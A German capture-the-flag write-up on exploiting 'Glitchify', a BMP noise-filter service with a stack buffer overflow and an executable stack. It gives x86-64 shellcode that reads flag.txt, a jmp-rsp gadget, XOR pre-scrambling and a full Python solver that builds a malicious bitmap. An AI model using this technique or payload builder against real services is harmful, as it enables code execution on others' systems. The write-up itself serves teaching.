13 KiB
Glitchify
Glitchify ist ein "Glitch Art" SaaS, das einen Rauschfilter auf 24-Bit-BMP-Bilder anwendet. Während die Benutzeroberfläche vor Speicherlimits warnt (32x32 Pixel), enthält die zugrunde liegende C-Anwendung einen klassischen stackbasierten Buffer Overflow und einen ausführbaren Stack, was sie zu einem perfekten Ziel für einen benutzerdefinierten Shellcode-Exploit macht.
Erste Analyse
Uns werden die folgenden Dateien zur Verfügung gestellt:
app.py: Der Flask-Web-Wrapper.glitcher: Das kompilierte ELF64-Binary.compose.yml&Dockerfile: Die Container-Konfiguration.good.bmp&bad.bmp: Beispielbilder.
1. Identifizierung des Ziels
Durch Untersuchung des Dockerfile können wir genau sehen, wie der Server eingerichtet ist:
WORKDIR /home/ctf
COPY glitcher .
COPY app.py .
COPY flag.txt .
Das Flag befindet sich unter /home/ctf/flag.txt. Unser Ziel ist es, diese Datei zu lesen.
2. Verständnis der Pipeline
Das app.py-Skript zeigt, dass der Server den stdout des Binarys abfängt und dem Benutzer anzeigt:
result = subprocess.run(
['./glitcher', b64_data],
capture_output=True,
text=True,
timeout=2
)
output = result.stdout + result.stderr
Wenn wir einen Shellcode ausführen können, der flag.txt liest und in den stdout schreibt, erscheint das Flag direkt in der Weboberfläche.
Binary Reconnaissance (Erkundung des Binarys)
Bevor wir in einen Dekompiler eintauchen, sammeln wir grundlegende Informationen über die Umgebung.
1. Dateieigenschaften
$ file glitcher
glitcher: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ..., with debug_info, not stripped
Das Binary ist not stripped, was bedeutet, dass wir während der Analyse Zugriff auf Funktionsnamen haben.
2. Sicherheitsmechanismen
$ readelf -h glitcher | grep Type
Type: EXEC (Executable file)
PIE ist deaktiviert. Das Binary wird an festen Adressen geladen, was unseren Exploit vereinfacht, da wir ASLR für das Binary selbst nicht umgehen müssen.
$ readelf -l glitcher | grep -A 1 GNU_STACK
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
NX ist deaktiviert (RWE). Dies ist eine entscheidende Erkenntnis: Der Stack ist ausführbar. Wir können zu Code springen, den wir auf dem Stack platzieren, und diesen ausführen.
Statische Analyse (Verfolgung des Ausführungsflusses)
Da wir nun wissen, dass die Umgebung nachsichtig ist, verfolgen wir, wie das Programm unsere Eingabe verarbeitet, indem wir der Logik in einem Dekompiler folgen.
1. Der Einstiegspunkt (main)
Das Programm beginnt damit, unser Base64-kodiertes Bild von der Befehlszeile entgegenzunehmen:
- Es reserviert Speicher für die Rohdaten.
- Es ruft
base64_decodeauf, um unsere Eingabe wieder in Binärdaten umzuwandeln. - Es übergibt diese dekodierten Daten an die Funktion
process_bmp.
2. Validierung des Bildes (process_bmp)
Diese Funktion fungiert als Gatekeeper. Sie parst die BMP-Header, um sicherzustellen, dass die Datei gültig ist:
- Header-Check: Sie überprüft die "BM"-Magic-Bytes.
- Format-Check: Sie stellt sicher, dass das Bild 24-Bit ist (Standard-RGB).
- Größenberechnung: Sie berechnet die Gesamtgröße der Pixeldaten:
width * height * 3. - Übergabe: Schließlich ruft sie
apply_noise_filterauf und übergibt einen Zeiger auf die Pixeldaten sowie die berechnetedata_size.
3. Die Schwachstelle (apply_noise_filter)
Hier läuft es schief. Schauen wir uns die dekompilierte Logik an:
void apply_noise_filter(char *src_data, int data_size) {
char process_buffer[3072]; // Feste Größe auf dem Stack
// ... Log-Initialisierung ...
// KRITISCH: Keine Prüfung, ob data_size > 3072!
memcpy(process_buffer, src_data, data_size);
// ... XOR-Schleife (Der "Glitch") ...
}
Der Programmierer ging davon aus, dass Benutzer sich an das in der Warnung erwähnte 32x32-Limit halten würden. Da memcpy die Größe des Zielpuffers nicht prüft, ermöglicht uns die Angabe einer größeren width oder height in unserem BMP-Header, über das Ende von process_buffer hinaus in den Stackframe der Funktion zu schreiben und die gespeicherte Rücksprungadresse (Return Address) zu überschreiben.
4. Der "Glitch"-Filter
Nach dem Überlauf, aber bevor die Funktion zurückkehrt, wendet das Binary einen XOR-Filter an:
for (idx = 0; idx < data_size; idx++) {
process_buffer[idx] ^= (char)(idx % 256);
}
Diese Schleife wird unseren Shellcode und die Rücksprungadresse verändern (scramblen), bevor die Funktion zurückkehrt. Um sicherzustellen, dass unser Code gültig bleibt, wenn die Funktion schließlich ihre ret-Instruktion erreicht, müssen wir unseren gesamten Payload vor-XORen (pre-XOR).
Exploitation-Strategie (Den Pfad finden)
Wir haben einen Buffer Overflow und einen ausführbaren Stack. Doch selbst bei deaktiviertem PIE kann die exakte Adresse des Stacks zwischen verschiedenen Umgebungen leicht variieren (aufgrund von Umgebungsvariablen usw.). Um unseren Exploit zuverlässig zu machen, brauchen wir einen Weg, die Ausführung auf den Stack umzuleiten, ohne eine Stack-Adresse fest zu kodieren.
1. Suche nach einem Gadget
Wir benötigen eine Instruktion, die bereits im Binary vorhanden ist und zum Stack-Pointer "springt". In x86_64 wird der Stack-Pointer im rsp-Register gespeichert. Wir suchen also nach einem Gadget wie:
jmp rspcall rsppush rsp; ret
2. Jagd nach dem Gadget
Wir können objdump verwenden, um das gesamte Disassembly nach diesen spezifischen Befehlen zu durchsuchen. Suchen wir nach einem jmp rsp:
$ objdump -d glitcher -M intel | grep "jmp rsp"
4018d6: ff e4 jmp rsp
Wir haben einen Treffer gefunden! Es gibt eine jmp rsp-Instruktion an der Adresse 0x4018d6.
3. Verifizierung
Da unser Binary nicht gestrippt ist, können wir prüfen, in welcher Funktion sich dieses Gadget befindet, um zu verstehen, warum es dort ist:
$ objdump -d glitcher -M intel --start-address=0x4018ce --stop-address=0x4018d8
00000000004018ce <get_pixels>:
4018ce: f3 0f 1e fa endbr64
4018d2: 55 push rbp
4018d3: 48 89 e5 mov rbp,rsp
4018d6: ff e4 jmp rsp
Es stellt sich heraus, dass das Gadget innerhalb einer Funktion namens get_pixels liegt. Diese Adresse (0x4018d6) ist perfekt, da sie fest ist und genau zu dem Speicherbereich springt, der unmittelbar auf unsere Rücksprungadresse auf dem Stack folgt – dort, wo wir unseren Shellcode platzieren werden.
Den Exploit Schritt für Schritt aufbauen
Schritt 1: Erstellung des Shellcodes
Da wir eine Datei lesen und in den stdout ausgeben müssen, verwenden wir eine Sequenz aus open -> read -> write. Hier ist die Aufschlüsselung in Assembly:
; --- "flag.txt" öffnen ---
push 0 ; Null-Terminator für String
mov rbx, 0x7478742e67616c66 ; "flag.txt" in Hex (Little-Endian)
push rbx ; String auf Stack pushen
mov rdi, rsp ; RDI = Zeiger auf "flag.txt"
xor esi, esi ; RSI = 0 (O_RDONLY)
push 2 ; RAX = 2 (sys_open)
pop rax
syscall ; open("flag.txt", 0)
; --- Dateiinhalt lesen ---
mov rdi, rax ; RDI = File Descriptor (von rax)
mov rsi, rsp ; RSI = Puffer (Stack-Platz wiederverwenden)
mov edx, 0x100 ; RDX = 256 Bytes zum Lesen
push 0 ; RAX = 0 (sys_read)
pop rax
syscall ; read(fd, rsp, 256)
; --- In stdout schreiben ---
mov rdx, rax ; RDX = gelesene Bytes (von rax)
push 1 ; RDI = 1 (stdout)
pop rdi
push 1 ; RAX = 1 (sys_write)
pop rax
syscall ; write(1, rsp, rdx)
; --- Sauber beenden ---
push 60 ; RAX = 60 (sys_exit)
pop rax
xor rdi, rdi ; RDI = 0
syscall ; exit(0)
Schritt 2: Berechnung des Paddings
Der process_buffer ist 3072 Bytes groß. Um die Rücksprungadresse zu erreichen, müssen wir auch das gespeicherte RBP (8 Bytes) überschreiben.
- Padding: 3080 Bytes.
- Rücksprungadresse:
0x4018d6(jmp rsp). - Payload:
Padding+RetAddr+Shellcode.
Schritt 3: Umgehung des XOR-Filters
Wir führen ein Vor-XOR auf unseren Roh-Payload aus, so dass er, wenn der Server ihn "glitcht", tatsächlich wieder in unseren ursprünglichen Code "entschlüsselt" wird.
scrambled = bytearray()
for i in range(len(raw_payload)):
scrambled.append(raw_payload[i] ^ (i % 256))
Schritt 4: In ein BMP verpacken
Wir verpacken unseren gescrambelten Payload in eine Standard-24-Bit-BMP-Struktur.
# Magic 'BM' + Header + Gescrambelte Daten
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
info_header = struct.pack('<IIIHHIIIIII', 40, width, 1, 1, 24, 0, 0, 0, 0, 0, 0)
final_file = bmp_header + info_header + scrambled
Der finale Solver
import struct
# Der spezifische bereitgestellte "jmp rsp" Gadget-Offset
GADGET_ADDR = 0x4018d6
def get_payload():
# 1. Shellcode: Öffnet flag.txt und gibt sie über stdout aus
# OPTIMIERT: Nutzt die Byte-Anzahl von read(), um write() zu begrenzen
shellcode = (
b"\x6a\x00\x48\xbb\x66\x6c\x61\x67\x2e\x74\x78\x74\x53" # push "flag.txt"
b"\x48\x89\xe7" # mov rdi, rsp (Dateiname-Zeiger)
b"\x31\xf6" # xor esi, esi (O_RDONLY)
b"\x6a\x02" # push 2 (sys_open)
b"\x58" # pop rax
b"\x0f\x05" # syscall (open)
b"\x48\x89\xc7" # mov rdi, rax (fd)
b"\x48\x89\xe6" # mov rsi, rsp (Stack als Puffer nutzen)
b"\xba\x00\x01\x00\x00" # mov edx, 256 (max. Anzahl)
b"\x6a\x00" # push 0 (sys_read)
b"\x58" # pop rax
b"\x0f\x05" # syscall (read)
# --- FIX BEGINNT HIER ---
# read() gibt die tatsächlich gelesene Byte-Anzahl in RAX zurück.
# Wir verschieben diesen Wert nach RDX, damit write() genau diese Anzahl druckt.
b"\x48\x89\xc2" # mov rdx, rax
# --- FIX ENDET HIER ---
b"\x6a\x01" # push 1 (stdout)
b"\x5f" # pop rdi
b"\x6a\x01" # push 1 (sys_write)
b"\x58" # pop rax
b"\x0f\x05" # syscall (write)
b"\x6a\x3c" # push 60 (sys_exit)
b"\x58" # pop rax
b"\x31\xff" # xor rdi, rdi (Status 0)
b"\x0f\x05" # syscall (exit)
)
# 2. Aufbau des Roh-Payload-Layouts
# Puffer (3072) + gespeichertes RBP (8) = 3080 Bytes Padding
padding = b"A" * 3080
ret_addr = struct.pack("<Q", GADGET_ADDR)
# Kombinierter Roh-Payload
raw_payload = padding + ret_addr + shellcode
# 3. Anwendung des XOR-Scrambling
# Das Binary führt aus: process_buffer[idx] ^= (unsigned char)(idx % 256);
# Wir XORen unseren Payload vor, damit der Server ihn wieder in gültigen Shellcode verwandelt.
scrambled_payload = bytearray()
for i in range(len(raw_payload)):
key = i % 256
scrambled_payload.append(raw_payload[i] ^ key)
return scrambled_payload
def generate_bmp(payload):
# BMP benötigt width * height * 3 Bytes an Daten.
# Payload anpassen, damit er durch 3 teilbar ist.
while len(payload) % 3 != 0:
idx = len(payload)
payload.append(0 ^ (idx % 256))
# Dimensionen berechnen: Höhe = 1, Breite = Länge / 3
height = 1
width = len(payload) // 3
# Header-Größe ist 54 Bytes
file_size = 54 + len(payload)
# Header konstruieren (Little Endian)
# Magic 'BM' + Dateigröße + Reserviert + Offset(54)
bmp_header = struct.pack('<2sIHHI', b'BM', file_size, 0, 0, 54)
# Info-Header: Größe(40) + W + H + Planes(1) + BitCount(24) + Kompression(0)...
info_header = struct.pack('<IIIHHIIIIII', 40, width, height, 1, 24, 0, 0, 0, 0, 0, 0)
return bmp_header + info_header + payload
def main():
print(f"[*] Erzeuge Exploit für JMP RSP @ {hex(GADGET_ADDR)}...")
payload = get_payload()
bmp_file = generate_bmp(payload)
output_filename = "exploit.bmp"
with open(output_filename, "wb") as f:
f.write(bmp_file)
print(f"[+] Bösartige Bitmap gespeichert unter: {output_filename}")
print(f"[*] Gesamtgröße: {len(bmp_file)} Bytes")
if __name__ == "__main__":
main()
Lade exploit.bmp auf den Glitchify-Server hoch, und das Flag wird auf deinem Bildschirm erscheinen!
Stay glitchy!